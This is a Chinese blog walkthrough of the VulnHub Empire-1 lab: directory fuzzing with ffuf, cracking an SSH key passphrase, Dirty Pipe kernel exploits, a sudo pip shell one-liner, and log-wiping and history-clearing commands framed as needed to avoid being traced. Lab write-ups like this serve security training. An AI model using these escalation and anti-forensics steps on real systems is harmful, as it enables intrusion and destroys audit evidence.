vulnhub靶场之empire靶场1
第一次使用vulnhub
靶场的话,只要计算机上安装了虚拟化产品,都可以导入成功,然后直接开机即可
-
靶机:
empire-1
-
攻击主机:
kali
靶场地址发现
这里两种方法,一种是直接在虚拟机上查看,另一种可以使用arp-scan
扫描,当然这里在同一网卡是可以的,如果不在同一网卡,是扫描不到的,比如一个桥接,一个nat
信息收集
使用nmap
对目标进行简单的扫描
nmap -sV -O -sC 192.168.1.28
可以看到目标开启两个端口
22端口是ssh
服务,采用openssh 8.4p1 协议2.0
80端口是http
服务,采用中间件apache /2.4.48
版本
并发现一个网站目录robots.txt
文件
目标系统为linux 2.4.x
版本
网站发现
访问80端口查看,发现只有一个图片显示
查看页面源代码
发现有一个目录,并且就是当前路径下的/image
目录。尝试访问
点击后发现暂时没有任何用处,那么访问之前扫描到的robots.txt
看到这里不允许爬取的目录,那么访问看看
给了404,但是这里并不是apache
默认的404页面,应该是自己修改的,下面这才是默认的404
那么没有域名的情况下,这里至少确认了网站是目录型网站,可以进行目录扫描
工具很多,可以使用kali默认安装的msf中的扫描模块
dirb
dirbuster
等或者使用gobuster(推荐)
访问后发现一个存放图片,一个是apache
的手册,另一个javascript
,访问到jquery
,知道其版本
使用searchsploit
搜索有无该版本漏洞,发现没有
难道80端口就到此为止了,不能,既然没有已知的漏洞,想其他方法,突然想到robots.txt
文件中的提示/~myfiles
这个目录,既然有这种~文件
的形式,是否其他文件也可能这样,进行爆破
这里推荐使用ffuf
工具,因为这个可以在指定的地方使用关键字FUZZ
就可以指定使用字典爆破该处
这样方便爆破
ffuf -c -w 字典 -u http://192.168.1.28/~FUZZ
-c指颜色显示
-w指定字典
-u指定路径
FUZZ指定爆破的位置
访问/~secret
,提示说,"你找到了密码目录,他创建并分享给你的一个SSH密钥文件,被隐藏在这的一些地方。使用fasttrack
字典是不能破解到的"
那么现在分析说的,隐藏在这里的某处,代表隐藏在这个目录下的,前面检测系统是linux,在linux中,隐藏文件是以.
开头的,那么使用ffuf
测试
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.1.28/~secret/.FUZZ
可以看到出现一堆403,都无权访问,改进语句,过滤掉403
ffuf -c -w 字典 -u http://192.168.1.28/~secret/.FUZZ -fc 403
-fc指定过滤的状态码
发现没有东西,但是不可能,因为他提示了,尝试换个字典,如果所有字典都没有,说明可能是错误了,或者说明这个隐藏的文件是有扩展名的,因为这里的爆破只是加上字典中的字段
比如字典中有de
字符,在使用ffuf
时,会在FUZZ处替换成de
,构成完整的就是http://192.168.1.28/~secret/.de
,所以在进行测试的时候,可以测两遍,就可以使用ffuf
的-e
参数,在后面加上扩展的
ffuf -c -w 字典 -u http://192.168.1.28/~secret/.FUZZ -e .txt,html -fc 403
-e参数扩展,这里可以用于文件格式的使用,比如字典中de
http://192.168.1.28/~secret/.de.txt
就会变成这样,或者.de.html
当然还有其他的格式形式,一般txt文件偏多,或者xml等
还是没有,换字典,在/usr/share/wordlists
中的字典很多
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.28/~secret/.FUZZ -e .txt,html -fc 403
发现文件了,下载下来
密码破解
查看文件内容,发现这并非私钥文件的形式,可能加密或者编码了,访问网址https://www.dcode.fr/cipher-identifier
进行分析
看到可能型最大的是base58编码,点击网页中的base58跳转到解码区域
这次的形式对了,这就是私钥的文件形式
复制解码后的内容,并放入文件si.pem
中,当直接使用ssh协议访问的时候,提示需要提供key
,说明在生成公私钥时,输入了key
密码,所以就需要获取到这个key
这种方法行不通,那就尝试用户名,密码的形式登录,首先需要破解这个私钥文件的内容。
使用ssh2john
工具,把内容转换为john
可识别的形式,然后使用john
进行爆破hash
ssh2john si.pem > hash
会在当前目录下生成一个hash文件,可以被john识别的形式
john hash --wordlist=/usr/share/wordlists/fasttrack.txt
使用小字典进行测试,如果不行再更换字典
使用ssh连接靶机
使用ssh登录,因为知道一个名字,但不知道是否是ssh账户,所以使用账户icex64
进行登录测试
登录成功,可以输入id
命令查看当前用户权限或者查看/etc/passwd
或/etc/shadow
文件测试权限
提权
权限不够,需要提权,尝试寻找具有特殊权限的命令
find / -perm -u=s -type f 2>/dev/null
当设置了用户 ID 位(u=s)时,对于可执行文件,意味着无论谁执行这个文件,都会以该文件所有者的权限来运行。
可以看到有sudo
命令和su
命令,进行测试
su
尝试ssh的那个密码进行尝试,发现不行,再测试sudo
发现直接sudo -i
也是需要密码,但是密码文件/etc/shadow
也无权查看
使用漏洞提权
前面收集了linux的系统版本,查查有无可用漏洞
漏洞提权1
在kali中使用searchsploit
发现一个漏洞,并且版本是在范围内的
下载到本地
然后在当前目录下开启一个python
简易的HTTP服务
在目标机上下载文件
因为是c语言的POC,所以需要编译
gcc 50808.c -o exp
执行该POC有两种方式
第一种,首先需要一个可以使用特权处理的命令,在前面使用sudo -l
列出了一些,这里采用/usr/bin/chfn
运行后,会发现提权成功
并且还提示我们别忘记删除/tmp/sh
文件,这是为了清除痕迹
尝试使用python
获取交互式终端
查看/root
下的文件,告诉我们靶机1结束,在下一台靶机见
漏洞提权2
第二种方式是从github
下载POC,但是该POC与前面不一样,这里是通过覆写密码进行提权
sudo git clone https://github.com/imfiver/CVE-2022-0847
但是这里没有git命令,所以该方法除非自己下载好,然后再通过自己的服务器去传递
这里现在kali中下载好脚本
执行脚本,获取到root权限
sudo提权
使用sudo -l
时,发现有一个文件具有特权的
进入到目录,查看,有两个文件,一个python文件,一个note.txt,查看note.txt
总的来说就是,只有当前用户有权限访问这个python
编程文件,查看python
文件
内容就这么多,也没什么,主要调用一个包,去找这个包,看有无可用的点
好嘛,内容太多,不能代码审计吧,不够发现亮点,导入了OS包,这个包是可以执行linux系统中的命令的
查看文件权限,是否可写入,好家伙,777
在文件中写入命令,看能否提权到arsene
账户,可能他的权限很高呢
os.system("/bin/bash")
使用sudo -u
指定以arsene
用户来执行后面的语句,因为这样执行语句是有sudo
特权的,因为上面执行调用bash
的命令,所以导致直接以arsene
的身份开启一个bash
使用id查看后,权限不高,算是水平提权了吧
查找看有无都可使用的命令,发现有sudo后,使用命令sudo -l
后,发现有/usr/bin/pip
ok,那就可以使用sudo pip
提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
在终端上使用上面命令,提权成功
清除痕迹
清除痕迹的时候,可以先查看日志文件
日志文件大都在/var/log
中
筛选与自己连接靶机的自己ip,然后从日志文件删除
sed -i '/ip/d' 日志文件
还是要root登录时进行清理,然后浏览器退出
首先因为访问了web页面,是apache
的,并且访问了隐藏文件,所以还是要删除的
find / -name 'access*'
删除apache的访问日志信息
该日志文件是access.log
查看有无kali连接的地址信息,使用sed
删除有关kaili地址的信息
删除apache的错误日志信息
该文件是error.log
删除验证登录信息
该文件为auth.log
,我这里因为之前爆破过,所以信息太多太杂,我直接把它重定向为空。实际中可能要观察文件内容,删除对应的。
echo > auth.log
删除登录失败信息
该文件为btmp
,因为是二进制文件,所以使用last -f
命令打开查看
也是因为爆破的原因,所以直接输出为空
echo > btmp
删除最后一次登录信息
该文件为lastlog
,直接输出为空即可
echo > lastlog
删除记录所有用户登录、注销信息
该文件为wtmp
,查看后发现我是第一个,所以直接输出为空
echo > wtmp
删除记录已登录的用户信息
该文件为utmp
,这里没有这个日志,倒也省事
删除与安全相关的日志信息
该文件为secure
,这里也没有
删除系统启动后的信息和错误日志
该文件为message
,输出为空
echo > message
删除历史命令
这里因为切换了用户,所以最好都删除
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
总结
信息收集
首先,就是对于信息收集时对于目录的爆破,有可能的地方都要去测试,比如这里给出的/~myfiles
,难道就只有这一个吗,他都给出还有这种目录的时候,就应该去主动测试,是否还有其他文件是以~
开头的。
其次,对于字典的使用,要灵活
然后,这里在进行爆破的时候,使用了gobuster
和ffuf
工具,当然这里其实使用burp
工具也是可以的,不过前面两个工具是go
语言写的,速度很快,还是建议使用前两个工具。顺便总结以下ffuf
工具的使用
-c 结果用颜色显示,可明显的区别不同
-w 指定字典
-u 需要爆破的地址,主要这里需要爆破的目录要使用FUZZ关键字进行标记
然后字典就会把每个值在FUZZ处测试
-fc 过滤某状态码
-e 用于在每一行爆破字典的基础上,在每一行字典后加上后缀名
如: -e .txt,html
就会在每一行使用字典后加上 .txt或.html进行爆破测试
解密解码的问题,当不能一眼识别出的时候,可以借助网址或工具进行分析
密码破解
对于SSH的公私钥生成时的问题:
生成公共/私有 rsa 密钥对。(Generating public/private rsa key pair.),一般使用 ssh-keygen -t rsa
命令,这个时候,会有下面的提示
Enter passphrase (empty for no passphrase):
输入通行码(密码、口令短语),如果不输入,那么就是不使用密码。如果输入了密码,这个有什么用呢?
这个主要是安全方面的考虑,如果你私钥泄露了,还有一个保护机制。在你每次使用 ssh 做敏感操作时,就会提示你输入密码
所以这里就是使用john
破解这个密码,join
破解的种类很多,可以再深入了解
提权
提权方面因为涉及到两种方式,所以还是总结以下
内核提权
searchsploit
的使用,它使用exploit-db
中的漏洞,常用命令
searchsploit -u //从exploit-dn中获取更新本地漏洞库
searchsploit linux 5.8.10 //在本地漏洞库搜索linux的漏洞
searchsploit -t linux 5.8.10 //仅在本地漏洞库搜索标题有Linux的漏洞
searchsploit linux 5.8.10 -w //联网搜索exploit-db中的漏洞,并给出链接
首先了解该漏洞的使用,一种是需要可以都执行的命令来帮助提权,先用gcc命令编译c文件
一种是使用python脚本覆盖改写密码的操作,获取权限,只要可以使用bash即可
当然上面都需要有执行权限,该靶场并没有限制,所以无需移动到/tmp
目录下运行
sudo提权
首先是find
命令查询都可以用的命令,发现sudo
等
find / -perm -u=s -type f 2>/dev/null
当然find
也是有提权方法的,只不过这里并不是SUID权限,所以有限制
sudo提权,是根据sudo -l
列出的哪些执行是可以利用sudo的,这里就是先在原始用户上查找,发现有个python
文件可以,查看该文件,然后该文件导入了一个python
包,而该包中调用os
,并且该文件对于其用户是777权限,所以可以修改内容,在其中添加调用bash的代码
水平提权后,在使用find查找都可使用的命令时,再次看到sudo
再列出哪些文件可利用sudo,发现了pip
,这个时候就可以想到众多sudo
提权中的sudo pip
提权,复制命令,因为真的太长了。回车即可提权
当然sudo
提权还有很多方式的,如sudo cat 、 sudo vi/vim
等等,可以网上查查
清除痕迹
最后就是清除痕迹,这个很有必要,不然会溯源的,虽然现在的日志服务器都是单独的,并且会有备份日志服务器,不过这是对于大公司而言。所以清除痕迹很有必要
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18578396